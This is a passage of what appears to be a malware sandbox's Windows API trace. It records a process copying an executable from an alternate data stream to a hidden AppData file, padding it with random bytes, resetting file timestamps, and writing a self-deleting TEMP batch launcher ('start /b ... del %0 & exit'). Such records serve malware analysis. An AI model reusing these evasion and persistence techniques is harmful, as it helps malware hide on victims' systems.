pbBuffer=0x20f35c) returned 1 [0140.640] CryptReleaseContext (hProv=0x3b3fa0, dwFlags=0x0) returned 1 [0140.640] CryptAcquireContextW (in: phProv=0x20f348, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x20f348*=0x3b3fa0) returned 1 [0140.640] CryptGenRandom (in: hProv=0x3b3fa0, dwLen=0x4, pbBuffer=0x20f35c | out: pbBuffer=0x20f35c) returned 1 [0140.640] CryptReleaseContext (hProv=0x3b3fa0, dwFlags=0x0) returned 1 [0140.640] CryptAcquireContextW (in: phProv=0x20f348, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x20f348*=0x3b3fa0) returned 1 [0140.641] CryptGenRandom (in: hProv=0x3b3fa0, dwLen=0x4, pbBuffer=0x20f35c | out: pbBuffer=0x20f35c) returned 1 [0140.641] CryptReleaseContext (hProv=0x3b3fa0, dwFlags=0x0) returned 1 [0140.641] CryptAcquireContextW (in: phProv=0x20f348, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x20f348*=0x3b3fa0) returned 1 [0140.642] CryptGenRandom (in: hProv=0x3b3fa0, dwLen=0x4, pbBuffer=0x20f35c | out: pbBuffer=0x20f35c) returned 1 [0140.642] CryptReleaseContext (hProv=0x3b3fa0, dwFlags=0x0) returned 1 [0140.642] CryptAcquireContextW (in: phProv=0x20f348, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x20f348*=0x3b3fa0) returned 1 [0140.643] CryptGenRandom (in: hProv=0x3b3fa0, dwLen=0x4, pbBuffer=0x20f35c | out: pbBuffer=0x20f35c) returned 1 [0140.643] CryptReleaseContext (hProv=0x3b3fa0, dwFlags=0x0) returned 1 [0140.644] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e8c8) returned 1 [0140.644] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e8c8 [0140.644] GetFileAttributesExW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\pLC1YKI\\osMlM8eHBG0O.exe" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\plc1yki\\osmlm8ehbg0o.exe"), fInfoLevelId=0x0, lpFileInformation=0x20f314 | out: lpFileInformation=0x20f314*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x258ae7, ftCreationTime.dwHighDateTime=0x2260000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x25a79c, ftLastWriteTime.dwLowDateTime=0x20f6a8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x2, nFileSizeLow=0x20f3ac)) returned 0 [0140.644] GetLastError () returned 0x2 [0140.644] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\pLC1YKI\\osMlM8eHBG0O.exe" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\plc1yki\\osmlm8ehbg0o.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x2, hTemplateFile=0x0) returned 0x13c [0140.653] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x184) returned 0x2163058 [0140.653] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x21699f0 [0140.653] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x21699a8 [0140.653] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169960 [0140.653] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169918 [0140.653] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x21698d0 [0140.653] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169888 [0140.653] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169840 [0140.653] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x21697f8 [0140.653] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x21697b0 [0140.653] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169768 [0140.653] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169720 [0140.654] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x21696d8 [0140.654] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169690 [0140.654] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169528 [0140.654] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169648 [0140.654] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x2169600 [0140.654] SetFileTime (hFile=0x13c, lpCreationTime=0x0, lpLastAccessTime=0x20f358, lpLastWriteTime=0x20f358) returned 1 [0140.654] NtClose (Handle=0x13c) returned 0x0 [0140.654] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x800) returned 0x21631e8 [0140.654] GetShortPathNameW (in: lpszLongPath="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\pLC1YKI\\osMlM8eHBG0O.exe", lpszShortPath=0x21631e8, cchBuffer=0x200 | out: lpszShortPath="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\pLC1YKI\\OSMLM8~1.EXE") returned 0x36 [0140.654] GetFileAttributesExW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\pLC1YKI\\osMlM8eHBG0O.exe" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\plc1yki\\osmlm8ehbg0o.exe"), fInfoLevelId=0x0, lpFileInformation=0x20f354 | out: lpFileInformation=0x20f354*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x6d0cd1f0, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x6d0cd1f0, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x6d0cd1f0, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0140.654] SetFileAttributesW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\pLC1YKI\\osMlM8eHBG0O.exe", dwFileAttributes=0x80) returned 1 [0140.654] DeleteFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\pLC1YKI\\osMlM8eHBG0O.exe" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\plc1yki\\osmlm8ehbg0o.exe")) returned 1 [0140.655] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x21631e8) returned 1 [0140.655] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e8c8) returned 1 [0140.655] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x21695b8 [0140.655] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x800) returned 0x21631e8 [0140.655] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x21631e8, nSize=0x200 | out: lpFilename="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\yPQYM2VS:bin" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\ypqym2vs:bin")) returned 0x2e [0140.655] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e8c8 [0140.655] GetFileAttributesExW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\yPQYM2VS:bin" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\ypqym2vs:bin"), fInfoLevelId=0x0, lpFileInformation=0x20f314 | out: lpFileInformation=0x20f314*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x6bb6a830, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x6beb4cc0, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x6beb4cc0, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x44000)) returned 1 [0140.655] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\yPQYM2VS:bin" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\ypqym2vs:bin"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0140.655] SetFileTime (hFile=0x13c, lpCreationTime=0x0, lpLastAccessTime=0x20f358, lpLastWriteTime=0x20f358) returned 0 [0140.655] GetFileSize (in: hFile=0x13c, lpFileSizeHigh=0x20f344 | out: lpFileSizeHigh=0x20f344*=0x0) returned 0x44000 [0140.655] SetFilePointer (in: hFile=0x13c, lDistanceToMove=0, lpDistanceToMoveHigh=0x20f350*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x20f350*=0) returned 0x0 [0140.655] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x44000) returned 0x2169e98 [0140.657] ReadFile (in: hFile=0x13c, lpBuffer=0x2169e98, nNumberOfBytesToRead=0x44000, lpNumberOfBytesRead=0x20f384, lpOverlapped=0x0 | out: lpBuffer=0x2169e98*, lpNumberOfBytesRead=0x20f384*=0x44000, lpOverlapped=0x0) returned 1 [0140.659] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x44000) returned 0x21adea0 [0140.665] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169e98) returned 1 [0140.665] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x44000) returned 0x2169e98 [0140.665] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x21695b8) returned 1 [0140.665] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x21adea0) returned 1 [0140.665] NtClose (Handle=0x13c) returned 0x0 [0140.665] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e8c8) returned 1 [0140.665] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x21631e8) returned 1 [0140.666] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e8c8 [0140.667] GetFileAttributesExW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\pLC1YKI\\OSMLM8~1.EXE" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\plc1yki\\osmlm8~1.exe"), fInfoLevelId=0x0, lpFileInformation=0x20f314 | out: lpFileInformation=0x20f314*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x258ae7, ftCreationTime.dwHighDateTime=0x2260000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x25a79c, ftLastWriteTime.dwLowDateTime=0x20f6a8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x2, nFileSizeLow=0x20f3ac)) returned 0 [0140.667] GetLastError () returned 0x2 [0140.667] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\pLC1YKI\\OSMLM8~1.EXE" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\plc1yki\\osmlm8~1.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x2, hTemplateFile=0x0) returned 0x13c [0140.667] SetFileTime (hFile=0x13c, lpCreationTime=0x0, lpLastAccessTime=0x20f358, lpLastWriteTime=0x20f358) returned 1 [0140.667] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x40) returned 0x21695b8 [0140.667] CryptAcquireContextW (in: phProv=0x20f368, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x20f368*=0x3b3fa0) returned 1 [0140.668] CryptGenRandom (in: hProv=0x3b3fa0, dwLen=0xb, pbBuffer=0x21695b8 | out: pbBuffer=0x21695b8) returned 1 [0140.668] CryptReleaseContext (hProv=0x3b3fa0, dwFlags=0x0) returned 1 [0140.668] WriteFile (in: hFile=0x13c, lpBuffer=0x21695b8*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x20f384, lpOverlapped=0x0 | out: lpBuffer=0x21695b8*, lpNumberOfBytesWritten=0x20f384*=0xb, lpOverlapped=0x0) returned 1 [0140.669] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x21695b8) returned 1 [0140.669] WriteFile (in: hFile=0x13c, lpBuffer=0x2169ea3*, nNumberOfBytesToWrite=0x43ff5, lpNumberOfBytesWritten=0x20f384, lpOverlapped=0x0 | out: lpBuffer=0x2169ea3*, lpNumberOfBytesWritten=0x20f384*=0x43ff5, lpOverlapped=0x0) returned 1 [0140.673] NtClose (Handle=0x13c) returned 0x0 [0140.674] GetFileAttributesExW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\pLC1YKI\\OSMLM8~1.EXE" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\plc1yki\\osmlm8~1.exe"), fInfoLevelId=0x0, lpFileInformation=0x20f314 | out: lpFileInformation=0x20f314*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x6d0f3350, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x6d0f3350, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x6d0f3350, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x44000)) returned 1 [0140.674] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\pLC1YKI\\OSMLM8~1.EXE" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\plc1yki\\osmlm8~1.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2, hTemplateFile=0x0) returned 0x13c [0140.674] SetFileTime (hFile=0x13c, lpCreationTime=0x0, lpLastAccessTime=0x20f358, lpLastWriteTime=0x20f358) returned 1 [0140.674] WriteFile (in: hFile=0x13c, lpBuffer=0x2169e9b*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x20f384, lpOverlapped=0x0 | out: lpBuffer=0x2169e9b*, lpNumberOfBytesWritten=0x20f384*=0x1, lpOverlapped=0x0) returned 1 [0140.674] WriteFile (in: hFile=0x13c, lpBuffer=0x2169e99*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x20f384, lpOverlapped=0x0 | out: lpBuffer=0x2169e99*, lpNumberOfBytesWritten=0x20f384*=0xa, lpOverlapped=0x0) returned 1 [0140.674] NtClose (Handle=0x13c) returned 0x0 [0140.674] GetFileAttributesExW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\pLC1YKI\\OSMLM8~1.EXE" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\plc1yki\\osmlm8~1.exe"), fInfoLevelId=0x0, lpFileInformation=0x20f314 | out: lpFileInformation=0x20f314*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x6d0f3350, ftCreationTime.dwHighDateTime=0x1d59598, ftLastAccessTime.dwLowDateTime=0x6d0f3350, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x6d0f3350, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x44000)) returned 1 [0140.674] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\pLC1YKI\\OSMLM8~1.EXE" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\plc1yki\\osmlm8~1.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2, hTemplateFile=0x0) returned 0x13c [0140.674] SetFileTime (hFile=0x13c, lpCreationTime=0x0, lpLastAccessTime=0x20f358, lpLastWriteTime=0x20f358) returned 1 [0140.674] WriteFile (in: hFile=0x13c, lpBuffer=0x2169e98*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x20f384, lpOverlapped=0x0 | out: lpBuffer=0x2169e98*, lpNumberOfBytesWritten=0x20f384*=0x1, lpOverlapped=0x0) returned 1 [0140.674] NtClose (Handle=0x13c) returned 0x0 [0140.675] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e8c8) returned 1 [0140.675] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x2169e98) returned 1 [0140.730] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e8c8 [0140.730] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e840 [0140.730] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e9d8 [0140.730] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e840) returned 1 [0140.730] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x100) returned 0x2169e98 [0140.730] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e8c8) returned 1 [0140.730] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e9d8) returned 1 [0140.730] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x100) returned 0x21631e8 [0140.730] GetSystemDirectoryW (in: lpBuffer=0x21631e8, uSize=0x40 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0140.730] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x21631e8) returned 1 [0140.730] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e9d8 [0140.730] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e8c8 [0140.730] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e840 [0140.730] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e950 [0140.730] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226ea60 [0140.730] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226ea60) returned 1 [0140.730] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x100) returned 0x21631e8 [0140.730] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226e950) returned 1 [0140.731] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226e950 [0140.731] CryptAcquireContextW (in: phProv=0x20f568, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x20f568*=0x3b3fa0) returned 1 [0140.731] CryptGenRandom (in: hProv=0x3b3fa0, dwLen=0x4, pbBuffer=0x20f57c | out: pbBuffer=0x20f57c) returned 1 [0140.731] CryptReleaseContext (hProv=0x3b3fa0, dwFlags=0x0) returned 1 [0140.731] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226ea60 [0140.731] CryptAcquireContextW (in: phProv=0x20f564, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x20f564*=0x3b3fa0) returned 1 [0140.732] CryptGenRandom (in: hProv=0x3b3fa0, dwLen=0x4, pbBuffer=0x20f578 | out: pbBuffer=0x20f578) returned 1 [0140.732] CryptReleaseContext (hProv=0x3b3fa0, dwFlags=0x0) returned 1 [0140.732] CryptAcquireContextW (in: phProv=0x20f564, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x20f564*=0x3b3fa0) returned 1 [0140.733] CryptGenRandom (in: hProv=0x3b3fa0, dwLen=0x4, pbBuffer=0x20f578 | out: pbBuffer=0x20f578) returned 1 [0140.733] CryptReleaseContext (hProv=0x3b3fa0, dwFlags=0x0) returned 1 [0140.733] CryptAcquireContextW (in: phProv=0x20f564, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x20f564*=0x3b3fa0) returned 1 [0140.734] CryptGenRandom (in: hProv=0x3b3fa0, dwLen=0x4, pbBuffer=0x20f578 | out: pbBuffer=0x20f578) returned 1 [0140.734] CryptReleaseContext (hProv=0x3b3fa0, dwFlags=0x0) returned 1 [0140.734] CryptAcquireContextW (in: phProv=0x20f564, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x20f564*=0x3b3fa0) returned 1 [0140.735] CryptGenRandom (in: hProv=0x3b3fa0, dwLen=0x4, pbBuffer=0x20f578 | out: pbBuffer=0x20f578) returned 1 [0140.735] CryptReleaseContext (hProv=0x3b3fa0, dwFlags=0x0) returned 1 [0140.735] CryptAcquireContextW (in: phProv=0x20f564, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x20f564*=0x3b3fa0) returned 1 [0140.735] CryptGenRandom (in: hProv=0x3b3fa0, dwLen=0x4, pbBuffer=0x20f578 | out: pbBuffer=0x20f578) returned 1 [0140.735] CryptReleaseContext (hProv=0x3b3fa0, dwFlags=0x0) returned 1 [0140.735] CryptAcquireContextW (in: phProv=0x20f564, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x20f564*=0x3b3fa0) returned 1 [0140.736] CryptGenRandom (in: hProv=0x3b3fa0, dwLen=0x4, pbBuffer=0x20f578 | out: pbBuffer=0x20f578) returned 1 [0140.736] CryptReleaseContext (hProv=0x3b3fa0, dwFlags=0x0) returned 1 [0140.736] CryptAcquireContextW (in: phProv=0x20f564, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x20f564*=0x3b3fa0) returned 1 [0140.737] CryptGenRandom (in: hProv=0x3b3fa0, dwLen=0x4, pbBuffer=0x20f578 | out: pbBuffer=0x20f578) returned 1 [0140.737] CryptReleaseContext (hProv=0x3b3fa0, dwFlags=0x0) returned 1 [0140.737] CryptAcquireContextW (in: phProv=0x20f564, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x20f564*=0x3b3fa0) returned 1 [0140.738] CryptGenRandom (in: hProv=0x3b3fa0, dwLen=0x4, pbBuffer=0x20f578 | out: pbBuffer=0x20f578) returned 1 [0140.738] CryptReleaseContext (hProv=0x3b3fa0, dwFlags=0x0) returned 1 [0140.738] CryptAcquireContextW (in: phProv=0x20f564, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x20f564*=0x3b3fa0) returned 1 [0140.738] CryptGenRandom (in: hProv=0x3b3fa0, dwLen=0x4, pbBuffer=0x20f578 | out: pbBuffer=0x20f578) returned 1 [0140.738] CryptReleaseContext (hProv=0x3b3fa0, dwFlags=0x0) returned 1 [0140.738] CryptAcquireContextW (in: phProv=0x20f564, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x20f564*=0x3b3fa0) returned 1 [0140.739] CryptGenRandom (in: hProv=0x3b3fa0, dwLen=0x4, pbBuffer=0x20f578 | out: pbBuffer=0x20f578) returned 1 [0140.739] CryptReleaseContext (hProv=0x3b3fa0, dwFlags=0x0) returned 1 [0140.739] CryptAcquireContextW (in: phProv=0x20f564, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x20f564*=0x3b3fa0) returned 1 [0140.740] CryptGenRandom (in: hProv=0x3b3fa0, dwLen=0x4, pbBuffer=0x20f578 | out: pbBuffer=0x20f578) returned 1 [0140.740] CryptReleaseContext (hProv=0x3b3fa0, dwFlags=0x0) returned 1 [0140.740] CryptAcquireContextW (in: phProv=0x20f564, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x20f564*=0x3b3fa0) returned 1 [0140.741] CryptGenRandom (in: hProv=0x3b3fa0, dwLen=0x4, pbBuffer=0x20f578 | out: pbBuffer=0x20f578) returned 1 [0140.741] CryptReleaseContext (hProv=0x3b3fa0, dwFlags=0x0) returned 1 [0140.741] CryptAcquireContextW (in: phProv=0x20f564, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x20f564*=0x3b3fa0) returned 1 [0140.742] CryptGenRandom (in: hProv=0x3b3fa0, dwLen=0x4, pbBuffer=0x20f578 | out: pbBuffer=0x20f578) returned 1 [0140.742] CryptReleaseContext (hProv=0x3b3fa0, dwFlags=0x0) returned 1 [0140.742] CryptAcquireContextW (in: phProv=0x20f564, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x20f564*=0x3b3fa0) returned 1 [0140.743] CryptGenRandom (in: hProv=0x3b3fa0, dwLen=0x4, pbBuffer=0x20f578 | out: pbBuffer=0x20f578) returned 1 [0140.743] CryptReleaseContext (hProv=0x3b3fa0, dwFlags=0x0) returned 1 [0140.743] CryptAcquireContextW (in: phProv=0x20f564, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x20f564*=0x3b3fa0) returned 1 [0140.743] CryptGenRandom (in: hProv=0x3b3fa0, dwLen=0x4, pbBuffer=0x20f578 | out: pbBuffer=0x20f578) returned 1 [0140.743] CryptReleaseContext (hProv=0x3b3fa0, dwFlags=0x0) returned 1 [0140.743] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226eae8 [0140.744] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x400) returned 0x21632f0 [0140.744] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x400) returned 0x21636f8 [0140.744] GetEnvironmentVariableW (in: lpName="TEMP", lpBuffer=0x21632f0, nSize=0x100 | out: lpBuffer="C:\\Windows\\TEMP") returned 0xf [0140.744] GetShortPathNameW (in: lpszLongPath="C:\\Windows\\TEMP", lpszShortPath=0x21636f8, cchBuffer=0x100 | out: lpszShortPath="C:\\Windows\\TEMP") returned 0xf [0140.745] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x21636f8) returned 1 [0140.745] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x21632f0) returned 1 [0140.745] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226eae8) returned 1 [0140.745] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226eae8 [0140.745] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226eae8) returned 1 [0140.745] RtlFreeHeap (HeapHandle=0x2260000, Flags=0x0, BaseAddress=0x226ea60) returned 1 [0140.745] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226ea60 [0140.745] GetFileAttributesExW (in: lpFileName="C:\\Windows\\TEMP\\5fiae9.cmd" (normalized: "c:\\windows\\temp\\5fiae9.cmd"), fInfoLevelId=0x0, lpFileInformation=0x20f530 | out: lpFileInformation=0x20f530*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x258ae7, ftCreationTime.dwHighDateTime=0x2260000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x25a79c, ftLastWriteTime.dwLowDateTime=0x226e8c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x20f63c)) returned 0 [0140.751] GetLastError () returned 0x2 [0140.751] CreateFileW (lpFileName="C:\\Windows\\TEMP\\5fiae9.cmd" (normalized: "c:\\windows\\temp\\5fiae9.cmd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0140.752] SetFileTime (hFile=0x13c, lpCreationTime=0x0, lpLastAccessTime=0x20f574, lpLastWriteTime=0x20f574) returned 1 [0140.752] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="start /b C:\\Users\\5P5NRG~1\\AppData\\Roaming\\pLC1YKI\\OSMLM8~1.EXE C:\\Users\\5P5NRG~1\\AppData\\Roaming\\yPQYM2VS\r\ndel %0 & exit", cchWideChar=121, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 121 [0140.753] RtlAllocateHeap (HeapHandle=0x2260000, Flags=0x8, Size=0x80) returned 0x226eae8 [0140.753] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="start /b C:\\Users\\5P5NRG~1\\AppData\\Roaming\\pLC1YKI\\OSMLM8~1.EXE 